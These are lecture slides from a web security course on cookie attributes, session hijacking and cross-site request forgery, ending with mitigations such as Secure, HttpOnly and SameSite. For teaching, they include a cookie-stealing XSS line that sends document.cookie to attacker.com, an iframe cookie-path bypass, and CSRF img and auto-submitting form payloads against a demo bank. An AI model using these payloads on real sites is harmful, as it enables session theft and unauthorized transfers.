CS 253: Web Security
Session attacks, Cross-Site Request
Forgery
1 Feross Aboukhadijeh
Recall: Cookies
How do you delete cookies?
• Set cookie with same name and an expiration date in the past
• Cookie value can be omitted
Set-Cookie: key=; Expires=Thu, 01 Jan 1970 00:00:00 GMT
3 Feross Aboukhadijeh
Basic cookie attributes
• Expires - Specifies expiration date. If no date, then lasts for "browser session"
• Path - Scope the "Cookie" header to a particular request path prefix
• e.g. Path=/docs will match /docs and /docs/Web/
• Domain - Allows the cookie to be scoped to a "broader domain" (within the same registrable
domain)
• e.g. cs253.stanford.edu can set cookies for stanford.edu
• Note: Path and Domain violate Same Origin Policy
• Do not use Path to keep cookies secret from other pages on the same origin
• By using Domain, one origin can set cookies for another origin
4 Feross Aboukhadijeh
Accessing Cookies from JS
document.cookie = 'name=Feross'
document.cookie = 'favoriteFood=Cookies'
document.cookie
// 'name=Feross; favoriteFood=Cookies;'
document.cookie = 'name=; Expires=Thu, 01 Jan 1970 00:00:00 GMT'
document.cookie
// 'favoriteFood=Cookies;'
5 Feross Aboukhadijeh
Session attacks
6 Feross Aboukhadijeh
Session hijacking
• Sending cookies over unencrypted HTTP is a very bad idea
• If anyone sees the cookie, they can use it to hijack the user's
session
• Attacker sends victim's cookie as if it was their own
• Server will be fooled
7 Feross Aboukhadijeh
Sessions (normal case)
8 Feross Aboukhadijeh
Sessions (with a network attacker)
12 Feross Aboukhadijeh
Firesheep (2010)
18 Feross Aboukhadijeh
Session hijacking mitigation
• Use Secure cookie attribute to prevent cookie from being sent over
unencrypted HTTP connections
Set-Cookie: key=value; Secure
• Even better: Use HTTPS for entire website
19 Feross Aboukhadijeh
Session hijacking via Cross Site
Scripting (XSS)
• What if website is vulnerable to XSS?
• Attacker can insert their code into the webpage
• At this point, they can easily exfiltrate the user's cookie
new Image().src =
'https://attacker.com/steal?cookie=' + document.cookie
• More on XSS soon!
20 Feross Aboukhadijeh
Protect cookies from XSS
• Use HttpOnly cookie attribute to prevent cookie from being read
from JavaScript
Set-Cookie: key=value; Secure; HttpOnly
21 Feross Aboukhadijeh
Cookie Path bypass
• Do not use Path for security
• Path does not protect against unauthorized reading of the cookie from a
different path on the same origin
• Can be bypassed using an <iframe> with the path of the cookie
• Then, read iframe.contentDocument.cookie
• This is allowed by Same Origin Policy
• Therefore, only use Path as a performance optimization
22 Feross Aboukhadijeh
Demo: CS 106A attack
23 Feross Aboukhadijeh
Demo: CS 106A attack
On CS 106A site:
document.cookie = 'sessionId=1234; Path=/class/cs106a/'
On CS 253 site:
const iframe = document.createElement('iframe')
iframe.src = 'https://web.stanford.edu/class/cs106a/'
document.body.appendChild(iframe)
iframe.style.display = 'none'
// wait for document to load... then run
console.log(iframe.contentDocument.cookie)
24 Feross Aboukhadijeh
Make cookie Path secure?
• No solution! Always unsafe to rely on Path
• Same Origin Policy
• Pages on the same origin can access each other's cookies (and a
whole lot more)
25 Feross Aboukhadijeh
What to set cookie Path to?
• Defaults to current page's path, e.g. /class/cs106a
• Instead, explicitly set it to Path=/
• Why is this better than just omitting Path?
Set-Cookie: key=value; Secure; HttpOnly; Path=/
26 Feross Aboukhadijeh
Quick note: Domain attribute is also
bad
• Cookies can only be accessed by equal or more-specific domains, so use a subdomain
• cs106a.stanford.edu vs. cs253.stanford.edu
• Mutually exclusive
• cs253.stanford.edu vs. stanford.edu
• Former can read/write latter's cookies. Reverse not true.
• cs253.stanford.edu vs. login.stanford.edu
• Mutually exclusive
27 Feross Aboukhadijeh
Cookies don't obey Same Origin
Policy
• Cookies were created before Same Origin Policy so have different security model
• Cookies are more restrictive than Same Origin Policy
• Path partions cookies by path but is ineffective because pages on same origin can access each other's
DOMs, run code in each other's contexts
• Cookies are less restrictive than Same Origin Policy
• Pages with same hostname share cookies. The protocol and port are ignored.
• Different origins can mess with each others cookies (e.g. cs253.stanford.edu can set cookies for
stanford.edu)
• This is why Stanford login is login.stanford.edu and not stanford.edu/login
28 Feross Aboukhadijeh
Cross-Site Request Forgery (CSRF)
29 Feross Aboukhadijeh
Ambient authority: problems
• Recall: Ambient authority is implemented by cookies
• Consider this HTML embedded in attacker.com:
<h1>Welcome to your account!</h1>
<img src='https://bank.com/avatar.png' />
• Browser helpfully includes bank.com cookies in all requests to
bank.com, even though the request originated from attacker.com
• attacker.com can embed user's real avatar from bank.com
30 Feross Aboukhadijeh
Ambient authority: problems (pt 2)
• Unclear which site initiated a request
• Consider this HTML embedded in attacker.com:
<img src='https://bank.com/withdraw?from=bob&to=mallory&amount=1000'>
• Browser helpfully includes bank.com cookies in all requests to
bank.com, even though the request originated from attacker.com
• attacker.com can take actions at bank.com using the victim's
logged-in session
31 Feross Aboukhadijeh
Cross-Site Request Forgery (CSRF)
• Attack which forces an end user to execute unwanted actions on a
web app in which they're currently authenticated
• Normal users: CSRF attack can force user to perform requests like
transferring funds, changing email address, etc.
• Admin users: CSRF attack can force admins to add new admin user,
or in the worst case, run commands diretly on the server
• Effective even when attacker can't read the HTTP response
32 Feross Aboukhadijeh
Demo: Cross-Site Request Forgery
33 Feross Aboukhadijeh
Demo: Cross-Site Request Forgery
server.js:
const BALANCES = { alice: 500, bob: 100 }
app.get('/', (req, res) => {
const { sessionId } = req.cookies
const username = SESSIONS[sessionId]
if (username) {
res.send(`
<h1>Welcome, ${username}</h1>
<p>Your balance is $${BALANCES[username]}</p>
<p><a href='/logout'>Logout</a></p>
<form method='POST' action='/transfer'>
Send amount:
<input name='amount' />
To user:
<input name='to' />
<input type='submit' value='Send' />
</form>
`)
} else {
createReadStream('index.html').pipe(res)
}
})
34 Feross Aboukhadijeh
Demo: Cross-Site Request Forgery
app.post('/transfer', (req, res) => {
const { sessionId } = req.cookies
const username = SESSIONS[sessionId]
if (!username) {
res.send('Only logged in users can transfer money')
return
}
const amount = Number(req.body.amount)
const to = req.body.to
BALANCES[username] -= amount
BALANCES[to] += amount
res.redirect('/')
})
35 Feross Aboukhadijeh
Demo: Cross-Site Request Forgery
attacker.com:9999:
<h1>Cool cat site</h1>
<img src='cat.gif' />
<iframe src='attacker-frame.html' style='display: none'></iframe>
attacker.com:9999/attacker-frame.html:
<form method='POST' action='http://bank.com:8000/transfer'>
<input name='amount' value='100' />
<input name='to' value='alice' />
<input type='submit' value='Send' />
</form>
<script>
document.forms[0].submit()
</script>
36 Feross Aboukhadijeh
Mitigate Cross-Site Request Forgery
• Idea: Can we remove "ambient authority" when a request originates
from another site?
37 Feross Aboukhadijeh
Idea: Use Referer header
• Inspect the Referer HTTP header
• Reject any requests from origins not on an "allowlist"
• Gotcha: Watch out for HTTP caches!
38 Feross Aboukhadijeh
Mitigate CSRF with Referer header
39 Feross Aboukhadijeh
Referer header does not mitigate
CSRF
• Gotcha: Watch out for HTTP caches!
• Add a Vary: Referer header
• Or, add a Cache-Control: no-store header
• Gotcha: Sites can opt out of sending the Referer header!
• Gotcha: Browser extensions might omit Referer for privacy reasons
54 Feross Aboukhadijeh
SameSite cookies
• Use SameSite cookie attribute to prevent cookie from being sent with
requests initiated by other sites
• SameSite=None - default, always send cookies
• SameSite=Lax - withhold cookies on subresource requests originating
from other sites, allow them on top-level requests
• SameSite=Strict - only send cookies if the request originates from the
website that set the cookie
Set-Cookie: key=value; Secure; HttpOnly; Path=/; SameSite=Lax
55 Feross Aboukhadijeh
Proposal to make cookies
SameSite=Lax by default
• "Cookies should be treated as "SameSite=Lax" by default" 1
• Who would want to opt into SameSite=None cookies?
1
https://tools.ietf.org/html/draft-west-cookie-incrementalism-00
56 Feross Aboukhadijeh
Solution: SameSite cookies
Server response from bank.com:
HTTP/1.1 200 OK
Set-Cookie: sessionId=1234; SameSite=Lax
Top-level and subresource requests from bank.com:
POST /transfer HTTP/1.1
Cookie: sessionId=1234
Subresource request from attacker.com:
POST /transfer HTTP/1.1
57 Feross Aboukhadijeh
Mitigate CSRF with SameSite Cookies
58 Feross Aboukhadijeh
How long should cookies last?
• When Expires not specified, lasts for current browser session
• Use a reasonable expiration date for your cookies, e.g. 30-90 days
• You can set the cookie with each response to restart the 30 day counter, so an active
user won't ever be logged out, despite the short timeout
• 2007: "The Google Blog announced that Google will be shortening the expiration
date of its cookies from the year 2038 to a two-year life cycle." – Search Engine
Land
Set-Cookie: key=value; Secure; HttpOnly; Path=/;
SameSite=Lax; Expires=Fri, 1 Nov 2021 00:00:00 GMT
74 Feross Aboukhadijeh
res.cookie('sessionId', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'lax',
maxAge: 30 * 24 * 60 * 60 * 1000 // 30 days
})
res.clearCookie('sessionId', {
secure: true,
httpOnly: true,
sameSite: 'lax'
})
75 Feross Aboukhadijeh
Demo: Set cookies correctly
76 Feross Aboukhadijeh
Final thoughts on cookies and
sessions
• Never trust data from the client!
• Don't use broken cookie Path attribute for security
• Ambient authority is useful but opens us up to additional risks
• Use SameSite=Lax to protect against CSRF attacks
• If you remember one thing: set your cookies like this:
Set-Cookie: key=value; Secure; HttpOnly; Path=/;
SameSite=Lax; Expires=Fri, 1 Nov 2021 00:00:00 GMT
77 Feross Aboukhadijeh
END
78 Feross Aboukhadijeh